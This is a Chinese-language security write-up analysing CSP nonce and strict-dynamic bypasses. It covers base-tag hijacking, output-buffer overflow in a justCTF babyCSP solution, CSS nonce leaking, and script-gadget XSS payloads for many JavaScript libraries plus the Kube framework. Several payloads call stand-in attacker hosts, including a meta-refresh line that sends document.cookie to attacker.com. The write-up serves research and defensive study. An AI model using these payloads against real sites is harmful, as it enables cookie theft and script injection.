关于CSP中nonce&strict-dynamic机制分析和绕过

前提知识

众所周知,CSP的默认策略是不允许inline脚本执行,想要运行inline脚本需要进行如下设置

1
Content-Security-Policy: script-src 'unsafe-inline'

但是为了防止恶意脚本的注入,CSP引入了nonce机制和script-dynamic机制

探究nonce机制

定义

参考MDN的标准

nonce-<base64-value>

An allow-list for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy. It is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. See unsafe inline script for an example. Specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support.

Note: The CSP nonce source can only be apply nonceable elements (e.g. as the <img> element has no nonce attribute, there is no way to associate it with this CSP source).

使用一个随机nonce来控制白名单,即可允许执行脚本,所以需要确保nonce是随机生成的,而且这个nonce会忽略unsafe-inline属性

例子

1
Content-Security-Policy: script-src 'nonce-test'
1
2
3
4
5
6
<script nonce="test">
// 可以执行
</script>
<script>
// 不能执行
</script>

常见绕过思路

浏览器自动补全

Firefox、IE成功,Chrome失败

如果在nonce上方存在XSS注入,则可以直接通过标签闭合使nonce成为自己的属性

实例

1
2
3
4
5
6
7
<?php 
header("X-XSS-Protection:0");
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-test'");
echo $_GET['xss'];
?>
<script nonce='test'>
</script>

payload

1
?xss=<script src=data:text/plain,alert(1)

Base-uri绕过

如果base-uri没有被设置,那我们可以使用<base>将文档的基础uri改为自己的服务器,引入自定义的js文件

例子

1
2
3
4
5
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-test'");
?>
<base href="//attacker.com">
<script nonce='test' src="/main.js"></script>

meta标签绕过

1
<meta http-equiv="refresh" content="1;url=http://attacker.com/receive.php?c="+escape(document.cookie)) >

浏览器缓存绕过

具体步骤可参考这篇文章

攻击能够实现的原因有2个:

  • 浏览器开启了缓存,只修改location.hash不会请求服务器,给我们能够窃取nonce的机会
  • 利用iframe标签窃取nonce并实现任意XSS

输出缓冲区溢出绕过

实例源于justCTF 2020 babyCSP

因为在官方靶机复现的时候最后没打到admin那,本地搭环境发现要用域名在google注册reCAPTCHA服务,所以下面主要是讲绕过CSP nonce的部分

题目核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
require_once("secrets.php");
$nonce = random_bytes(8);

if(isset($_GET['flag'])){
if(isAdmin()){
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Content-type: text/html; charset=UTF-8');
echo $flag;
die();
}
else{
echo "You are not an admin!";
die();
}
}

for($i=0; $i<10; $i++){
if(isset($_GET['alg'])){
$_nonce = hash($_GET['alg'], $nonce);
if($_nonce){
$nonce = $_nonce;
continue;
}
}
$nonce = md5($nonce);
}

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
echo <<<EOT
<script nonce='$nonce'>
setInterval(
()=>user.style.color=Math.random()<0.3?'red':'black'
,100);
</script>
<center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
<p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
show_source(__FILE__);
}

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile

漏洞的核心在于在执行header()之前会对nonce进行计算,hash的seed可控且无长度限制,当我们输入alg参数时,页面会输出warning

image-20210215102946344

参考PHP文档的Runtime Configuration

output_buffering bool/int

You can enable output buffering for all files by setting this directive to ‘On’. If you wish to limit the size of the buffer to a certain size - you can use a maximum number of bytes instead of ‘On’, as a value for this directive (e.g., output_buffering=4096). This directive is always Off in PHP-CLI.

PHP具有多个种类的输出缓冲区,输出缓冲区默认大小是4096 bytes,HTTP缓冲区负责存储HTTP Header和HTTP Body,如果缓冲区超过最大限制就会强制刷新,所以只要我们输入的alg参数足够长,就能导致缓冲区溢出,从而使header修改失败

注意CLI的输出缓冲区比较特别,CLI会将INI配置中的output_buffer选项强制设置为0,这表示禁用默认PHP输出缓冲区

image-20210215105539720

在web中查看,你可以再一次确定输出缓冲区默认大小是4096 bytes

image-20210215105440404

注入足够长度的参数header就会无法修改从而绕过CSP,此时插入XSS便能攻击成功

image-20210215140908083

所以前半部分的payload如下

1
2
3
4
<script>
name="fetch('?flag').then(e=>e.text()).then(alert)"
location = 'https://127.0.0.1:10001/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
</script>

探究strict-dynamic机制

定义

参考MDN的标准

strict-dynamic

The strict-dynamic source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any allow-list or source expressions such as 'self' or 'unsafe-inline' are ignored. See script-src for an example.

strict-dynamic规定需要给可执行脚本一个明确的nonce或者hash,防止因为白名单存在相关漏洞而被引入恶意脚本,同时也会忽略selfunsafe-inline属性,strict-dynamic可让我们动态插入满足nonce的可执行脚本

例子

1
Content-Security-Policy: script-src 'nonce-test' 'strict-dynamic' example.com
1
2
3
4
5
6
<script src="//example.com/assets/A.js" nonce="test">
// 可以执行
</script>
<script src="//example.com/assets/B.js">
// 不能执行
</script>

常见绕过思路

通过CSS泄露nonce

主要参考这篇文章,可以说一种侧信道攻击

CSS攻击原理都一样,先进行匹配然后通过url进行回显,具体就不多说了

1
2
3
4
5
6
7
8
9
10
11
// 1
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}
[...]

// 2
*[attribute^="aa"]{background:url("record?match=aa")}
*[attribute^="ab"]{background:url("record?match=ab")}
*[attribute^="ac"]{background:url("record?match=ac")}
[...]

Script Gadget

使用某个HTML或者JS文件中现存的特定的JS代码来绕过CSP,这个是我们本次学习的重点

Script Gadget

参考2017年blackhat的《Breaking XSS mitigations via Script Gadgets

Github: https://github.com/google/security-research-pocs

分类

在HTML代码中

1
2
3
4
5
6
<div data-role="button"
data-text="I am a button"></div>
<script>
var buttons = $("[data-role=button]");
buttons.html(button.getAttribute("data-text")); // 注入点
</script>

所以可以构造如下语句进行注入

1
<div data-role="button" data-text="&lt;script&gt;alert(1)&lt;/script&gt;">...</div>

在JS代码中

以Knockout Gadget为例

1
2
3
4
5
6
7
8
9
// 获取data-bind属性
switch (node.nodeType) {
case 1: return node.getAttribute("data-bind");
// 写入到rewrittenBindings
var rewrittenBindings = ko.expressionRewriting.preProcessBindings(bindingsString, options),
functionBody = "with($context){with($data||{}){return{" + rewrittenBindings + "}}}";
return new Function("$context", "$element", functionBody);
// 执行上述脚本
return bindingFunction(bindingContext, node);

所以可以构造如下语句进行注入

1
<div data-bind="value: alert(1)"></div>

产生原因

  • 通过表达式解析器来进行non-eval
  • 自定义的表达式解析器安全风险
  • 表达式可被“动态编译”成Javascript
  • 代码直接操作在DOM元素、属性或原生对象等
  • 有足够多的复合表达式语言

历史漏洞

  • Knockout属性绑定注入

    1
    <div data-bind="value: alert(1)"></div>

    代码分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 获取data-bind属性
    switch (node.nodeType) {
    case 1: return node.getAttribute("data-bind");
    // 写入到rewrittenBindings
    var rewrittenBindings = ko.expressionRewriting.preProcessBindings(bindingsString, options),
    functionBody = "with($context){with($data||{}){return{" + rewrittenBindings + "}}}";
    return new Function("$context", "$element", functionBody);
    // 执行上述脚本
    return bindingFunction(bindingContext, node);
  • Ajaxify将文本进行类型转换

    1
    <div class="document-script">alert(1)</div>

    代码分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // 获取document-script
    $scripts = $dataContent.find('.document-script');
    // 添加script
    $scripts.each(function(){
    var $script = $(this), scriptText = $script.text(), scriptNode = document.createElement('script');
    if ( $script.attr('src') ) {
    if ( !$script[0].async ) { scriptNode.async = false; }
    scriptNode.src = $script.attr('src');
    }
    scriptNode.appendChild(document.createTextNode(scriptText));
    contentNode.appendChild(scriptNode);
    });
  • Bootstrap-simplest直接插入html代码

    1
    2
    3
    4
    <div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'>aaaa</div>
    <script nonce="random">
    $("[data-toggle=tooltip]").tooltip();
    </script>

    限制条件比较严格,tooltip的title可控且tooltip调用了tooltip()

    代码分析

    1
    2
    3
    4
    5
    6
    // 初始化控件
    this.init('tooltip', element, options)
    // 显示控件
    if (!self.options.delay || !self.options.delay.show) return self.show()
    // 直接插入节点
    this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)
  • Closure混淆闭包引入自定义js

    1
    2
    3
    <a id=CLOSURE_BASE_PATH href=data:/,1/alert(1)//></a>
    <form id=CLOSURE_UNCOMPILED_DEFINES>
    <input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>
  • Require JS允许自定义js文件

    1
    <script data-main='data:1,alert(1)' src='require.js'></script>

    代码分析

    1
    2
    3
    4
    5
    6
    7
    8
    // 获取data-main属性
    dataMain = script.getAttribute('data-main');
    // 加载为配置文件
    cfg.deps = cfg.deps ? cfg.deps.concat(mainScript) : [mainScript];
    // 加载配置文件
    req.config = function (config) {
    return req(config);
    };
  • Ember允许动态插入script

    1
    2
    3
    <script type=text/x-handlebars>
    <script src=//attacker.example.com// />
    </script>

    代码分析

    1
    2
    3
    4
    // 提取text/x-handlebars标签
    var selector = 'script[type="text/x-handlebars"]';
    // 设置模板
    setTemplate(templateName, template);
  • JQuery重插入script

    1
    2
    <form class="child">
    <input name="ownerDocument"/><script>alert(1);</script></form>

    代码分析

    1
    2
    3
    4
    // 插入下一个节点
    this.parentNode.insertBefore( elem, this.nextSibling );
    // 运行插入代码
    DOMEval( node.textContent.replace( rcleanScript, "" ), doc );
  • jQuery Mobile通过HTML注入闭合注释

    1
    2
    <div data-role=popup id='--><script>"use strict"
    alert(1)</script>'></div>

    代码分析

    1
    2
    3
    4
    5
    6
    7
    8
    // 代码拼接直接插入html
    if ( myId ) {
    ui.screen.attr( "id", myId + "-screen" );
    ui.container.attr( "id", myId + "-popup" );
    ui.placeholder
    .attr( "id", myId + "-placeholder" )
    .html( "<!-- placeholder for " + myId + " -->" );
    }
  • Aurelia利用本地函数创建script

    1
    2
    3
    4
    <div ref="me"
    s.bind="$this.me.ownerDocument.createElement('script')"
    data-bar="${$this.me.s.src='data:,alert(1)'}"
    data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>
  • Polymer 1.x重写“私人”下划线属性

    1
    2
    3
    4
    5
    6
    7
    8
    <template is=dom-bind><div
    five={{insert(me._nodes.0.scriptprop)}}
    four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
    three="{{set('me',nextSibling.previousSibling)}}"
    two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}}
    scriptprop={{_factory()}}
    one={{set('_factoryArgs.0','script')}} >
    </template>
  • Ractive引入任意js、窃取nonce

    1
    2
    3
    <script id='template' type='text/ractive'>
    <script src='//attacker.com/shout/' />
    </script>
    1
    2
    3
    4
    5
    6
    7
    <script id='template' type='text/ractive'>
    <iframe srcdoc='<script
    nonce={{@global.document.currentScript.nonce}}>
    alert(document.domain)
    </{{}}script>'>
    </iframe>
    </script>

    代码分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 获取模板
    if (!(template = doc.getElementById(id))) {
    if (options && options.noThrow) {
    return;
    }
    throw new Error(`Could not find template element with id #${id}`);
    }
    // 返回模板
    return 'textContent' in template ? template.textContent : template.innerHTML;

漏洞挖掘

Sink RegEx Mode

1
2
3
4
5
6
7
8
9
eval\(
\.innerHTML
\.html\(
Function\(
document\.createElement\(
scriptElement\.src
\.appendChild\(
inputFunction\.apply\(
\.insertAdjacentHTML\(

我们这次的挖掘目标是Kube,一个轻量的CSS框架


data- Atrribute Gadget*

根据Knockout Gadget的思路查找是否存在函数构造

1
RegEx: /new Function\(/i

漏洞链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 对data属性进行检查
data: function(name, value)
{
if (name === undefined)
{
var reDataAttr = /^data\-(.+)$/;
var attrs = this.get().attributes;

var data = {};
var replacer = function (g) { return g[1].toUpperCase(); };

for (var key in attrs)
{
if (attrs[key] && reDataAttr.test(attrs[key].nodeName))
{
var dataName = attrs[key].nodeName.match(reDataAttr)[1];
var val = attrs[key].value; // Source
dataName = dataName.replace(/-([a-z])/g, replacer);

if (this._isObjectString(val)) val = this._toObject(val);
else val = (this._isNumber(val)) ? parseFloat(val) : this._getBooleanFromStr(val);

data[dataName] = val;
}
}

return data;
}

return this.attr(name, value, true);
}


// 判断是否为对象字符串
_isObjectString: function(str)
{
return (str.search(/^{/) !== -1);
}

// 将字符串转为对象
_toObject: function(str)
{
return (new Function("return " + str))(); // Sink
}

payload构造显然易见,直接找一个有data-*属性的空间,然后注入一个字典就好

1
2
3
4
5
6
<meta http-equiv=content-security-policy content="script-src 'nonce-random' 'unsafe-eval' 'strict-dynamic'; ">
<div data-name="{tyao:alert(1)}" data-kube="alert">xss</div>
<script nonce="random" src="kube/dist/js/kube.js"></script>
<script nonce="random">
$K.init();
</script>

data-target Atrribute Gadget

这个比较鸡肋,绕不过nonce机制

1
2
3
4
5
6
7
8
9
    _buildElement: function($el)
{
return new App.Element(this.app, $el);
},
_buildTarget: function()
{
return new App.Target(this.app, this.params.target); // Source
}
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
create: function(html)
{
if (/^<(\w+)\s*\/?>(?:<\/\1>|)$/.test(html))
{
return [document.createElement(RegExp.$1)];
}

var elements = [];
var container = document.createElement('div');
var children = container.childNodes;

container.innerHTML = html; // Sink

for (var i = 0, l = children.length; i < l; i++)
{
elements.push(children[i]);
}

return elements;
},

data-target属性注入

1
2
3
4
5
<button data-target="&lt;img src onerror=alert(1)&gt;" data-kube="alert">xss</button>
<script nonce="random" src="kube/dist/js/kube.js"></script>
<script nonce="random">
$K.init();
</script>

参考

深入理解output buffer

基于Gadgets绕过XSS防御机制

CSP 概念及绕过分析总结

XSS之CSP绕过(转)

通过浏览器缓存来bypass nonce script CSP